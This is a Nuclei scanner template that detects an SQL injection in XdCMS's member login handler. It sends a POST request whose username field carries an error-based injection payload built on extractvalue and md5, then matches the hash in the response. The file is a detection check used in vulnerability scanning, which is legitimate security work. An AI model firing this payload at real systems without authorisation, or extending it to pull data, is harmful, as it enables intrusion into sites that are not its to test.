nuclei-templates/vulnerabilities/other/xdcms-sqli.yaml

39 lines
740 B
YAML

id: xdcms-sqli
info:
name: XdCMS SQL Injection
author: pikpikcu
severity: high
reference:
- https://www.uedbox.com/post/35188/
tags: sqli,xdcms
variables:
num: "999999999"
requests:
- method: POST
path:
- "{{BaseURL}}/index.php?m=member&f=login_save"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username=dd' or extractvalue(0x0a,concat(0x0a,md5({{num}})))#&password=dd&submit=+%B5%C7+%C2%BC+
matchers-condition: and
matchers:
- type: word
words:
- "Content-Type: text/html"
part: header
- type: word
words:
- '{{md5({{num}})}}'
part: body
- type: status
status:
- 200